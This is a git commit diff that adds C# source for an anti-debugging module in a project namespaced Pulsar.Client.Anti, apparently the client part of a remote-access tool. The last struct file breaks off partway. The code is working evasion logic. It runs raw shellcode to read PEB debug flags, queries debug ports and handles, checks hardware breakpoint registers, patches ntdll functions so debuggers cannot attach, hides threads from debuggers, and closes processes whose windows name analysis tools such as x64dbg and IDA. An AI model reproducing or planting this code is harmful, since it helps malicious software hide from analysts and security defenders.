initial commit
This commit is contained in:
Vendored
BIN
Binary file not shown.
@@ -0,0 +1,551 @@
|
||||
using System;
|
||||
using System.IO;
|
||||
using System.Text;
|
||||
using System.Threading;
|
||||
using System.Diagnostics;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Reflection;
|
||||
using Pulsar.Client.Anti.Helper;
|
||||
using static Pulsar.Client.Anti.Helper.Structs;
|
||||
|
||||
namespace Pulsar.Client.Anti.Debugger
|
||||
{
|
||||
public class AntiDebug
|
||||
{
|
||||
#region WinApi
|
||||
|
||||
[DllImport("kernelbase.dll", SetLastError = true)]
|
||||
private static extern bool SetHandleInformation(IntPtr hObject, uint dwMask, uint dwFlags);
|
||||
|
||||
[DllImport("ntdll.dll", SetLastError = true)]
|
||||
private static extern bool NtClose(IntPtr Handle);
|
||||
|
||||
[DllImport("kernelbase.dll", SetLastError = true)]
|
||||
private static extern IntPtr CreateMutexA(IntPtr lpMutexAttributes, bool bInitialOwner, string lpName);
|
||||
|
||||
[DllImport("kernelbase.dll", SetLastError = true)]
|
||||
private static extern bool IsDebuggerPresent();
|
||||
|
||||
[DllImport("kernelbase.dll", SetLastError = true)]
|
||||
private static extern IntPtr GetModuleHandle(string lib);
|
||||
|
||||
[DllImport("kernelbase.dll", SetLastError = true)]
|
||||
private static extern IntPtr GetProcAddress(IntPtr ModuleHandle, string Function);
|
||||
|
||||
[DllImport("kernel32.dll", SetLastError = true)]
|
||||
public static extern bool WriteProcessMemory(
|
||||
IntPtr hProcess,
|
||||
IntPtr lpBaseAddress,
|
||||
byte[] lpBuffer,
|
||||
int nSize,
|
||||
out IntPtr lpNumberOfBytesWritten);
|
||||
|
||||
[DllImport("kernelbase.dll", SetLastError = true)]
|
||||
private static extern bool ReadProcessMemory(SafeHandle hProcess, IntPtr BaseAddress, out byte[] Buffer, uint size, out int NumOfBytes);
|
||||
|
||||
[DllImport("ntdll.dll", SetLastError = true)]
|
||||
private static extern uint NtSetInformationThread(IntPtr ThreadHandle, uint ThreadInformationClass, IntPtr ThreadInformation, int ThreadInformationLength);
|
||||
|
||||
[DllImport("ntdll.dll", SetLastError = true)]
|
||||
private static extern uint NtOpenThread(out IntPtr hThread, uint dwDesiredAccess, ref OBJECT_ATTRIBUTES ObjectAttributes, ref CLIENT_ID ClientID);
|
||||
|
||||
[DllImport("kernelbase.dll", SetLastError = true)]
|
||||
private static extern uint GetTickCount();
|
||||
|
||||
[DllImport("kernelbase.dll", SetLastError = true)]
|
||||
private static extern IntPtr GetCurrentThread();
|
||||
|
||||
[DllImport("ntdll.dll", SetLastError = true)]
|
||||
private static extern bool NtGetContextThread(IntPtr hThread, ref CONTEXT Context);
|
||||
|
||||
[DllImport("ntdll.dll", SetLastError = true)]
|
||||
private static extern uint NtQueryInformationProcess(IntPtr hProcess, uint ProcessInfoClass, out uint ProcessInfo, uint nSize, uint ReturnLength);
|
||||
|
||||
[DllImport("ntdll.dll", SetLastError = true)]
|
||||
private static extern uint NtQueryInformationProcess(IntPtr hProcess, uint ProcessInfoClass, out IntPtr ProcessInfo, uint nSize, uint ReturnLength);
|
||||
|
||||
[DllImport("ntdll.dll", SetLastError = true)]
|
||||
private static extern uint NtQueryInformationProcess(IntPtr hProcess, uint ProcessInfoClass, ref PROCESS_BASIC_INFORMATION ProcessInfo, uint nSize, uint ReturnLength);
|
||||
|
||||
[DllImport("kernelbase.dll", SetLastError = true)]
|
||||
private static extern int QueryFullProcessImageNameA(SafeHandle hProcess, uint Flags, byte[] lpExeName, Int32[] lpdwSize);
|
||||
|
||||
[DllImport("win32u.dll", SetLastError = true)]
|
||||
private static extern IntPtr NtUserGetForegroundWindow();
|
||||
|
||||
[DllImport("user32.dll", SetLastError = true)]
|
||||
private static extern int GetWindowTextLengthA(IntPtr HWND);
|
||||
|
||||
[DllImport("user32.dll", SetLastError = true)]
|
||||
private static extern int GetWindowTextA(IntPtr HWND, StringBuilder WindowText, int nMaxCount);
|
||||
|
||||
[DllImport("ntdll.dll", SetLastError = true)]
|
||||
private static extern uint NtSetDebugFilterState(ulong ComponentId, uint Level, bool State);
|
||||
|
||||
[DllImport("kernelbase.dll", SetLastError = true)]
|
||||
private static extern void GetSystemInfo(out SYSTEM_INFO lpSystemInfo);
|
||||
|
||||
[DllImport("kernelbase.dll", SetLastError = true)]
|
||||
private static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
|
||||
|
||||
[DllImport("ntdll.dll", SetLastError = true)]
|
||||
private static extern IntPtr memset(IntPtr Dst, int val, uint size);
|
||||
|
||||
[DllImport("kernelbase.dll", SetLastError = true)]
|
||||
private static extern bool VirtualFree(IntPtr lpAddress, uint dwSize, uint dwFreeType);
|
||||
|
||||
[DllImport("kernel32.dll")]
|
||||
private static extern int GetLastError();
|
||||
|
||||
#endregion
|
||||
|
||||
/// <summary>
|
||||
/// Attempts to close an invalid handle to detect debugger presence.
|
||||
/// <param name="Syscall">specifies if we should use syscall to call the WinAPI functions.</param>
|
||||
/// </summary>
|
||||
/// <returns>Returns true if an exception is caught, indicating no debugger, otherwise false.</returns>
|
||||
public static bool NtCloseAntiDebug_InvalidHandle()
|
||||
{
|
||||
try
|
||||
{
|
||||
int RandomInt = new Random().Next(int.MinValue, int.MaxValue);
|
||||
IntPtr RandomIntPtr = new IntPtr(RandomInt);
|
||||
NtClose(RandomIntPtr);
|
||||
return false;
|
||||
}
|
||||
catch
|
||||
{
|
||||
return true;
|
||||
}
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Attempts to close a protected handle to detect debugger presence.
|
||||
/// <param name="Syscall">specifies if we should use syscall to call the WinAPI functions.</param>
|
||||
/// </summary>
|
||||
/// <returns>Returns true if an exception is caught, indicating no debugger, otherwise false.</returns>
|
||||
public static bool NtCloseAntiDebug_ProtectedHandle()
|
||||
{
|
||||
string RandomMutexName = new Random().Next(int.MinValue, int.MaxValue).ToString();
|
||||
IntPtr hMutex = CreateMutexA(IntPtr.Zero, false, RandomMutexName);
|
||||
uint HANDLE_FLAG_PROTECT_FROM_CLOSE = 0x00000002;
|
||||
SetHandleInformation(hMutex, HANDLE_FLAG_PROTECT_FROM_CLOSE, HANDLE_FLAG_PROTECT_FROM_CLOSE);
|
||||
bool Result = false;
|
||||
try
|
||||
{
|
||||
NtClose(hMutex);
|
||||
Result = false;
|
||||
}
|
||||
catch
|
||||
{
|
||||
Result = true;
|
||||
}
|
||||
SetHandleInformation(hMutex, HANDLE_FLAG_PROTECT_FROM_CLOSE, 0);
|
||||
NtClose(hMutex);
|
||||
return Result;
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Checks if a debugger is attached to the process.
|
||||
/// </summary>
|
||||
/// <returns>Returns true if a debugger is attached, otherwise false.</returns>
|
||||
public static bool DebuggerIsAttached()
|
||||
{
|
||||
return System.Diagnostics.Debugger.IsAttached;
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Checks if a debugger is present using the IsDebuggerPresent API.
|
||||
/// </summary>
|
||||
/// <returns>Returns true if a debugger is present, otherwise false.</returns>
|
||||
public static bool IsDebuggerPresentCheck()
|
||||
{
|
||||
if (IsDebuggerPresent())
|
||||
return true;
|
||||
return false;
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Checks for the BeingDebugged flag directly.
|
||||
/// </summary>
|
||||
/// <returns>Returns true if a debugger is present, otherwise false.</returns>
|
||||
public static bool BeingDebuggedCheck()
|
||||
{
|
||||
byte[] Code = new byte[30];
|
||||
if (IntPtr.Size == 8)
|
||||
Code = new byte[] { 0x65, 0x48, 0x8B, 0x04, 0x25, 0x60, 0x00, 0x00, 0x00, 0x0F, 0xB6, 0x40, 0x02, 0xC3 };
|
||||
else
|
||||
Code = new byte[] { 0x64, 0xA1, 0x30, 0x00, 0x00, 0x00, 0x0F, 0xB6, 0x40, 0x02, 0xC3 };
|
||||
IntPtr BeingDebugged = Utils.AllocateCode(Code);
|
||||
if (BeingDebugged != IntPtr.Zero)
|
||||
{
|
||||
try
|
||||
{
|
||||
Delegates.GenericInt Executed = (Delegates.GenericInt)Marshal.GetDelegateForFunctionPointer(BeingDebugged, typeof(Delegates.GenericInt));
|
||||
int Result = Executed();
|
||||
Utils.FreeCode(BeingDebugged);
|
||||
if (Result == 1)
|
||||
return true;
|
||||
}
|
||||
catch
|
||||
{
|
||||
Utils.FreeCode(BeingDebugged);
|
||||
}
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Checks for the NtGlobalFlag directly.
|
||||
/// </summary>
|
||||
/// <returns>Returns true if a debugger is present, otherwise false.</returns>
|
||||
public static bool NtGlobalFlagCheck()
|
||||
{
|
||||
byte[] Code = new byte[30];
|
||||
if (IntPtr.Size == 8)
|
||||
Code = new byte[] { 0x65, 0x48, 0x8B, 0x04, 0x25, 0x60, 0x00, 0x00, 0x00, 0x48, 0x8B, 0x80, 0xBC, 0x00, 0x00, 0x00, 0x48, 0x83, 0xE0, 0x70, 0x48, 0x83, 0xF8, 0x70, 0x74, 0x04, 0x48, 0x31, 0xC0, 0xC3, 0x48, 0xC7, 0xC0, 0x01, 0x00, 0x00, 0x00, 0xC3 };
|
||||
else
|
||||
Code = new byte[] { 0x64, 0xA1, 0x30, 0x00, 0x00, 0x00, 0x8B, 0x40, 0x68, 0x83, 0xE0, 0x70, 0x83, 0xF8, 0x70, 0x74, 0x03, 0x31, 0xC0, 0xC3, 0xB8, 0x01, 0x00, 0x00, 0x00, 0xC3 };
|
||||
IntPtr NtGlobalFlag = Utils.AllocateCode(Code);
|
||||
if (NtGlobalFlag != IntPtr.Zero)
|
||||
{
|
||||
try
|
||||
{
|
||||
Delegates.GenericInt Executed = (Delegates.GenericInt)Marshal.GetDelegateForFunctionPointer(NtGlobalFlag, typeof(Delegates.GenericInt));
|
||||
int Result = Executed();
|
||||
Utils.FreeCode(NtGlobalFlag);
|
||||
if (Result == 1)
|
||||
return true;
|
||||
}
|
||||
catch
|
||||
{
|
||||
Utils.FreeCode(NtGlobalFlag);
|
||||
}
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Checks if the process has debug flags set using NtQueryInformationProcess
|
||||
/// <param name="Syscall">specifies if we should use syscall to call the WinAPI functions.</param>
|
||||
/// </summary>
|
||||
/// <returns>Returns true if debug flags are set, otherwise false.</returns>
|
||||
public static bool NtQueryInformationProcessCheck_ProcessDebugFlags()
|
||||
{
|
||||
uint ProcessDebugFlags = 0;
|
||||
NtQueryInformationProcess(new IntPtr(-1), 0x1F, out ProcessDebugFlags, sizeof(uint), 0);
|
||||
if (ProcessDebugFlags == 0)
|
||||
return true;
|
||||
return false;
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Checks if the process has a debug port using NtQueryInformationProcess.
|
||||
/// <param name="Syscall">specifies if we should use syscalls to call the WinAPI functions.</param>.
|
||||
/// </summary>
|
||||
/// <returns>Returns true if a debug port is detected, otherwise false.</returns>
|
||||
public static bool NtQueryInformationProcessCheck_ProcessDebugPort()
|
||||
{
|
||||
uint DebuggerPresent = 0;
|
||||
uint Size = sizeof(uint);
|
||||
if (Environment.Is64BitProcess)
|
||||
Size = sizeof(uint) * 2;
|
||||
NtQueryInformationProcess(new IntPtr(-1), 7, out DebuggerPresent, Size, 0);
|
||||
if (DebuggerPresent != 0)
|
||||
return true;
|
||||
return false;
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Checks if the process has a debug object handle using NtQueryInformationProcess.
|
||||
/// <param name="Syscall">specifies if we should use syscall to call the WinAPI functions.</param>
|
||||
/// </summary>
|
||||
/// <returns>Returns true if a debug object handle is detected, otherwise false.</returns>
|
||||
public static bool NtQueryInformationProcessCheck_ProcessDebugObjectHandle()
|
||||
{
|
||||
IntPtr hDebugObject = IntPtr.Zero;
|
||||
uint Size = sizeof(uint);
|
||||
if (Environment.Is64BitProcess)
|
||||
Size = sizeof(uint) * 2;
|
||||
|
||||
NtQueryInformationProcess(new IntPtr(-1), 0x1E, out hDebugObject, Size, 0);
|
||||
if (hDebugObject != IntPtr.Zero)
|
||||
return true;
|
||||
return false;
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Patches the DbgUiRemoteBreakin and DbgBreakPoint functions to prevent debugger attachment.
|
||||
/// </summary>
|
||||
/// <returns>Returns "Success" if the patching was successful, otherwise "Failed".</returns>
|
||||
public static string AntiDebugAttach()
|
||||
{
|
||||
IntPtr NtdllModule = Utils.LowLevelGetModuleHandle("ntdll.dll");
|
||||
IntPtr DbgUiRemoteBreakinAddress = Utils.LowLevelGetProcAddress(NtdllModule, "DbgUiRemoteBreakin");
|
||||
IntPtr DbgBreakPointAddress = Utils.LowLevelGetProcAddress(NtdllModule, "DbgBreakPoint");
|
||||
byte[] Int3InvaildCode = { 0xCC };
|
||||
byte[] RetCode = { 0xC3 };
|
||||
bool Status = WriteProcessMemory(Process.GetCurrentProcess().Handle, DbgUiRemoteBreakinAddress, Int3InvaildCode, 1, out IntPtr test);
|
||||
bool Status2 = WriteProcessMemory(Process.GetCurrentProcess().Handle, DbgBreakPointAddress, RetCode, 1, out IntPtr test2);
|
||||
if (Status && Status2)
|
||||
return "Success";
|
||||
return "Failed";
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Checks for the presence of known debugger windows.
|
||||
/// </summary>
|
||||
/// <returns>Returns true if a known debugger window is detected, otherwise false.</returns>
|
||||
public static bool FindWindowAntiDebug()
|
||||
{
|
||||
string[] BadWindowNames = { "x32dbg", "x64dbg", "windbg", "ollydbg", "dnspy", "immunity debugger", "hyperdbg", "cheat engine", "cheatengine", "ida" };
|
||||
Process[] GetProcesses = Process.GetProcesses();
|
||||
foreach (Process GetWindow in GetProcesses)
|
||||
{
|
||||
try
|
||||
{
|
||||
if (GetWindow.MainWindowHandle != IntPtr.Zero)
|
||||
{
|
||||
string title = GetWindow.MainWindowTitle;
|
||||
if (string.IsNullOrEmpty(title)) continue;
|
||||
|
||||
foreach (string BadWindows in BadWindowNames)
|
||||
{
|
||||
if (Utils.Contains(title, BadWindows))
|
||||
{
|
||||
GetWindow.Close();
|
||||
return true;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
continue;
|
||||
}
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Checks if the foreground window belongs to a known debugger.
|
||||
/// </summary>
|
||||
/// <returns>Returns true if a known debugger window is detected, otherwise false.</returns>
|
||||
public static bool NtUserGetForegroundWindowAntiDebug()
|
||||
{
|
||||
string[] BadWindowNames = { "x32dbg", "x64dbg", "windbg", "ollydbg", "dnspy", "immunity debugger", "hyperdbg", "debug", "debugger", "cheat engine", "cheatengine", "ida" };
|
||||
IntPtr HWND = NtUserGetForegroundWindow();
|
||||
if (HWND != IntPtr.Zero)
|
||||
{
|
||||
int WindowLength = GetWindowTextLengthA(HWND);
|
||||
if (WindowLength != 0)
|
||||
{
|
||||
StringBuilder WindowName = new StringBuilder(WindowLength + 1);
|
||||
GetWindowTextA(HWND, WindowName, WindowLength + 1);
|
||||
foreach (string BadWindows in BadWindowNames)
|
||||
{
|
||||
if (Utils.Contains(WindowName.ToString().ToLower(), BadWindows))
|
||||
{
|
||||
return true;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Hides threads from the debugger by setting the NtSetInformationThread.
|
||||
/// </summary>
|
||||
/// <returns>Returns "Success" if the threads were hidden successfully, otherwise "Failed".</returns>
|
||||
public static string HideThreadsAntiDebug()
|
||||
{
|
||||
try
|
||||
{
|
||||
bool AnyThreadFailed = false;
|
||||
int PID = Process.GetCurrentProcess().Id;
|
||||
ProcessThreadCollection GetCurrentProcessThreads = Process.GetCurrentProcess().Threads;
|
||||
foreach (ProcessThread Threads in GetCurrentProcessThreads)
|
||||
{
|
||||
CLIENT_ID CI = new CLIENT_ID
|
||||
{
|
||||
UniqueProcess = (IntPtr)PID,
|
||||
UniqueThread = (IntPtr)Threads.Id
|
||||
};
|
||||
|
||||
OBJECT_ATTRIBUTES Attributes = new OBJECT_ATTRIBUTES
|
||||
{
|
||||
Length = Marshal.SizeOf(typeof(OBJECT_ATTRIBUTES)),
|
||||
RootDirectory = IntPtr.Zero,
|
||||
ObjectName = IntPtr.Zero,
|
||||
Attributes = 0,
|
||||
SecurityDescriptor = IntPtr.Zero,
|
||||
SecurityQualityOfService = IntPtr.Zero
|
||||
};
|
||||
|
||||
IntPtr hThread = IntPtr.Zero;
|
||||
uint Status = NtOpenThread(out hThread, 0x0020, ref Attributes, ref CI);
|
||||
if (Status == 0 || hThread != IntPtr.Zero)
|
||||
{
|
||||
uint Status2 = NtSetInformationThread(hThread, 0x11, IntPtr.Zero, 0);
|
||||
NtClose(hThread);
|
||||
if (Status2 != 0x00000000)
|
||||
AnyThreadFailed = true;
|
||||
}
|
||||
}
|
||||
if (!AnyThreadFailed)
|
||||
return "Success";
|
||||
return "Failed";
|
||||
}
|
||||
catch
|
||||
{
|
||||
return "Failed";
|
||||
}
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Uses GetTickCount to detect debugger presence.
|
||||
/// </summary>
|
||||
/// <returns>Returns true if debugger presence is detected, otherwise false.</returns>
|
||||
public static bool GetTickCountAntiDebug()
|
||||
{
|
||||
uint Start = GetTickCount();
|
||||
Thread.Sleep(0x10);
|
||||
return (GetTickCount() - Start) > 0x10;
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Triggers a debug break to detect debugger presence.
|
||||
/// </summary>
|
||||
/// <returns>Returns true if an exception is caught, indicating no debugger, otherwise false.</returns>
|
||||
public static bool DebugBreakAntiDebug()
|
||||
{
|
||||
try
|
||||
{
|
||||
Utils.CallInternalCLRFunction("BreakInternal", typeof(Debug), BindingFlags.NonPublic | BindingFlags.Static, null, null);
|
||||
return false;
|
||||
}
|
||||
catch
|
||||
{
|
||||
return true;
|
||||
}
|
||||
}
|
||||
|
||||
private static long CONTEXT_DEBUG_REGISTERS = 0x00010000L | 0x00000010L;
|
||||
|
||||
/// <summary>
|
||||
/// Detects hardware breakpoints by checking debug registers.
|
||||
/// </summary>
|
||||
/// <returns>Returns true if hardware breakpoints are detected, otherwise false.</returns>
|
||||
public static bool HardwareRegistersBreakpointsDetection()
|
||||
{
|
||||
CONTEXT Context = new CONTEXT();
|
||||
Context.ContextFlags = CONTEXT_DEBUG_REGISTERS;
|
||||
int PID = Process.GetCurrentProcess().Id;
|
||||
foreach (ProcessThread Threads in Process.GetCurrentProcess().Threads)
|
||||
{
|
||||
uint THREAD_QUERY_INFORMATION = 0x0040;
|
||||
CLIENT_ID CI = new CLIENT_ID
|
||||
{
|
||||
UniqueProcess = (IntPtr)PID,
|
||||
UniqueThread = (IntPtr)Threads.Id
|
||||
};
|
||||
|
||||
OBJECT_ATTRIBUTES Attributes = new OBJECT_ATTRIBUTES
|
||||
{
|
||||
Length = Marshal.SizeOf(typeof(OBJECT_ATTRIBUTES)),
|
||||
RootDirectory = IntPtr.Zero,
|
||||
ObjectName = IntPtr.Zero,
|
||||
Attributes = 0,
|
||||
SecurityDescriptor = IntPtr.Zero,
|
||||
SecurityQualityOfService = IntPtr.Zero
|
||||
};
|
||||
|
||||
IntPtr hThread = IntPtr.Zero;
|
||||
uint Status = NtOpenThread(out hThread, THREAD_QUERY_INFORMATION, ref Attributes, ref CI);
|
||||
if (Status == 0 || hThread != IntPtr.Zero)
|
||||
{
|
||||
if (NtGetContextThread(hThread, ref Context))
|
||||
{
|
||||
if ((Context.Dr1 != 0x00 || Context.Dr2 != 0x00 || Context.Dr3 != 0x00 || Context.Dr6 != 0x00 || Context.Dr7 != 0x00))
|
||||
{
|
||||
NtClose(hThread);
|
||||
return true;
|
||||
}
|
||||
}
|
||||
NtClose(hThread);
|
||||
}
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Cleans the specified path by removing null characters.
|
||||
/// </summary>
|
||||
/// <param name="Path">The path to clean.</param>
|
||||
/// <returns>The cleaned path.</returns>
|
||||
private static string CleanPath(string Path)
|
||||
{
|
||||
string CleanedPath = null;
|
||||
foreach (char Null in Path)
|
||||
{
|
||||
if (Null != '\0')
|
||||
{
|
||||
CleanedPath += Null;
|
||||
}
|
||||
}
|
||||
return CleanedPath;
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Uses NtSetDebugFilterState to prevent debugging.
|
||||
/// </summary>
|
||||
/// <returns>Returns true if the filter state was set successfully, otherwise false.</returns>
|
||||
public static bool NtSetDebugFilterStateAntiDebug()
|
||||
{
|
||||
if (NtSetDebugFilterState(0, 0, true) != 0)
|
||||
return false;
|
||||
return true;
|
||||
}
|
||||
|
||||
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
|
||||
private delegate int ExecutionDelegate();
|
||||
|
||||
/// <summary>
|
||||
/// Uses page guard to detect debugger presence by executing a function pointer.
|
||||
/// </summary>
|
||||
/// <returns>Returns true if debugger presence is detected, otherwise false.</returns>
|
||||
public static bool PageGuardAntiDebug()
|
||||
{
|
||||
SYSTEM_INFO SysInfo = new SYSTEM_INFO();
|
||||
GetSystemInfo(out SysInfo);
|
||||
uint MEM_COMMIT = 0x00001000;
|
||||
uint MEM_RESERVE = 0x00002000;
|
||||
uint PAGE_EXECUTE_READWRITE = 0x40;
|
||||
uint PAGE_GUARD = 0x100;
|
||||
uint MEM_RELEASE = 0x00008000;
|
||||
IntPtr AllocatedSpace = VirtualAlloc(IntPtr.Zero, SysInfo.PageSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
|
||||
if (AllocatedSpace != IntPtr.Zero)
|
||||
{
|
||||
memset(AllocatedSpace, 1, 0xC3);
|
||||
uint OldProtect = 0;
|
||||
if (Utils.ProtectMemory(AllocatedSpace, (UIntPtr)SysInfo.PageSize, PAGE_EXECUTE_READWRITE | PAGE_GUARD, out OldProtect))
|
||||
{
|
||||
try
|
||||
{
|
||||
ExecutionDelegate IsDebugged = Marshal.GetDelegateForFunctionPointer<ExecutionDelegate>(AllocatedSpace);
|
||||
int Result = IsDebugged();
|
||||
}
|
||||
catch
|
||||
{
|
||||
VirtualFree(AllocatedSpace, SysInfo.PageSize, MEM_RELEASE);
|
||||
return false;
|
||||
}
|
||||
VirtualFree(AllocatedSpace, SysInfo.PageSize, MEM_RELEASE);
|
||||
return true;
|
||||
}
|
||||
}
|
||||
return false;
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,44 @@
|
||||
using System;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
namespace Pulsar.Client.Anti.Helper
|
||||
{
|
||||
public class Delegates
|
||||
{
|
||||
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
|
||||
public delegate uint SysNtQueryInformationProcess(IntPtr hProcess, uint ProcessInfoClass, out uint ProcessInfo, uint nSize, out uint ReturnLength);
|
||||
|
||||
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
|
||||
public delegate uint SysNtQueryInformationProcess2(IntPtr hProcess, uint ProcessInfoClass, out IntPtr ProcessInfo, uint nSize, uint ReturnLength);
|
||||
|
||||
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
|
||||
public delegate uint SysNtQueryInformationProcess3(IntPtr hProcess, uint ProcessInfoClass, ref Structs.PROCESS_BASIC_INFORMATION ProcessInfo, uint nSize, uint ReturnLength);
|
||||
|
||||
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
|
||||
public delegate bool SysNtClose(IntPtr Handle);
|
||||
|
||||
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
|
||||
public delegate uint SysNtQuerySystemInformation(uint SystemInformationClass, ref Structs.SYSTEM_CODEINTEGRITY_INFORMATION SystemInformation, uint SystemInformationLength, out uint ReturnLength);
|
||||
|
||||
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
|
||||
public delegate uint SysNtQuerySystemInformation2(uint SystemInformationClass, ref Structs.SYSTEM_KERNEL_DEBUGGER_INFORMATION SystemInformation, uint SystemInformationLength, out uint ReturnLength);
|
||||
|
||||
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
|
||||
public delegate uint SysNtQuerySystemInformation3(uint SystemInformationClass, ref Structs.SYSTEM_SECUREBOOT_INFORMATION SystemInformation, uint SystemInformationLength, out uint ReturnLength);
|
||||
|
||||
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
|
||||
public delegate uint SysNtQueryVirtualMemory(IntPtr ProcessHandle, IntPtr BaseAddress, uint MemoryInformationClass, ref Structs.MEMORY_BASIC_INFORMATION MemoryInformation, uint MemoryInformationLength, out uint ReturnLength);
|
||||
|
||||
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
|
||||
public delegate int SysNtQueryInformationThread(IntPtr ThreadHandle, int ThreadInformationClass, ref IntPtr ThreadInformation, uint ThreadInformationLength, IntPtr ReturnLength);
|
||||
|
||||
[UnmanagedFunctionPointer(CallingConvention.Cdecl)]
|
||||
public delegate IntPtr GenericPtr();
|
||||
|
||||
[UnmanagedFunctionPointer(CallingConvention.Cdecl)]
|
||||
public delegate int GenericInt();
|
||||
|
||||
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
|
||||
public delegate IntPtr KeyboardHook(int nCode, IntPtr wParam, IntPtr lParam);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,430 @@
|
||||
using System;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
namespace Pulsar.Client.Anti.Helper
|
||||
{
|
||||
public class Structs
|
||||
{
|
||||
[StructLayout(LayoutKind.Sequential)]
|
||||
public struct CONTEXT
|
||||
{
|
||||
public uint P1Home;
|
||||
public uint P2Home;
|
||||
public uint P3Home;
|
||||
public uint P4Home;
|
||||
public uint P5Home;
|
||||
public uint P6Home;
|
||||
public long ContextFlags;
|
||||
public IntPtr MxCsr;
|
||||
public IntPtr SegCs;
|
||||
public IntPtr SegDs;
|
||||
public IntPtr SegEs;
|
||||
public IntPtr SegFs;
|
||||
public IntPtr SegGs;
|
||||
public IntPtr SegSs;
|
||||
public IntPtr EFlags;
|
||||
public uint Dr0;
|
||||
public uint Dr1;
|
||||
public uint Dr2;
|
||||
public uint Dr3;
|
||||
public uint Dr6;
|
||||
public uint Dr7;
|
||||
}
|
||||
|
||||
public struct PROCESS_MITIGATION_BINARY_SIGNATURE_POLICY
|
||||
{
|
||||
public uint MicrosoftSignedOnly;
|
||||
}
|
||||
|
||||
[StructLayout(LayoutKind.Explicit)]
|
||||
public struct SYSTEM_CODEINTEGRITY_INFORMATION
|
||||
{
|
||||
[FieldOffset(0)]
|
||||
public ulong Length;
|
||||
|
||||
[FieldOffset(4)]
|
||||
public uint CodeIntegrityOptions;
|
||||
}
|
||||
|
||||
[StructLayout(LayoutKind.Sequential)]
|
||||
public struct PROCESS_BASIC_INFORMATION
|
||||
{
|
||||
internal IntPtr Reserved1;
|
||||
internal IntPtr PebBaseAddress;
|
||||
internal IntPtr Reserved2_0;
|
||||
internal IntPtr Reserved2_1;
|
||||
internal IntPtr UniqueProcessId;
|
||||
internal IntPtr InheritedFromUniqueProcessId;
|
||||
}
|
||||
|
||||
[StructLayout(LayoutKind.Sequential)]
|
||||
public struct SYSTEM_KERNEL_DEBUGGER_INFORMATION
|
||||
{
|
||||
[MarshalAs(UnmanagedType.U1)]
|
||||
public bool KernelDebuggerEnabled;
|
||||
|
||||
[MarshalAs(UnmanagedType.U1)]
|
||||
public bool KernelDebuggerNotPresent;
|
||||
}
|
||||
|
||||
[StructLayout(LayoutKind.Sequential)]
|
||||
public struct UNICODE_STRING
|
||||
{
|
||||
public ushort Length;
|
||||
public ushort MaximumLength;
|
||||
public IntPtr Buffer;
|
||||
}
|
||||
|
||||
public struct ANSI_STRING
|
||||
{
|
||||
public short Length;
|
||||
public short MaximumLength;
|
||||
public string Buffer;
|
||||
}
|
||||
|
||||
[StructLayout(LayoutKind.Sequential)]
|
||||
public struct SYSTEM_SECUREBOOT_INFORMATION
|
||||
{
|
||||
public bool SecureBootEnabled;
|
||||
public bool SecureBootCapable;
|
||||
}
|
||||
|
||||
[StructLayout(LayoutKind.Sequential)]
|
||||
public struct SYSTEM_INFO
|
||||
{
|
||||
public ushort ProcessorArchitecture;
|
||||
ushort Reserved;
|
||||
public uint PageSize;
|
||||
public IntPtr MinimumApplicationAddress;
|
||||
public IntPtr MaximumApplicationAddress;
|
||||
public IntPtr ActiveProcessorMask;
|
||||
public uint NumberOfProcessors;
|
||||
public uint ProcessorType;
|
||||
public uint AllocationGranularity;
|
||||
public ushort ProcessorLevel;
|
||||
public ushort ProcessorRevision;
|
||||
}
|
||||
|
||||
[StructLayout(LayoutKind.Sequential)]
|
||||
public struct OSVERSIONINFOEX
|
||||
{
|
||||
public int dwOSVersionInfoSize;
|
||||
public int dwMajorVersion;
|
||||
public int dwMinorVersion;
|
||||
public int dwBuildNumber;
|
||||
public int dwPlatformId;
|
||||
[MarshalAs(UnmanagedType.ByValTStr, SizeConst = 128)]
|
||||
public string szCSDVersion;
|
||||
public ushort wServicePackMajor;
|
||||
public ushort wServicePackMinor;
|
||||
public ushort wSuiteMask;
|
||||
public byte wProductType;
|
||||
public byte wReserved;
|
||||
}
|
||||
|
||||
[StructLayout(LayoutKind.Sequential)]
|
||||
public struct IMAGE_DOS_HEADER
|
||||
{
|
||||
public ushort e_magic;
|
||||
public ushort e_cblp;
|
||||
public ushort e_cp;
|
||||
public ushort e_crlc;
|
||||
public ushort e_cparhdr;
|
||||
public ushort e_minalloc;
|
||||
public ushort e_maxalloc;
|
||||
public ushort e_ss;
|
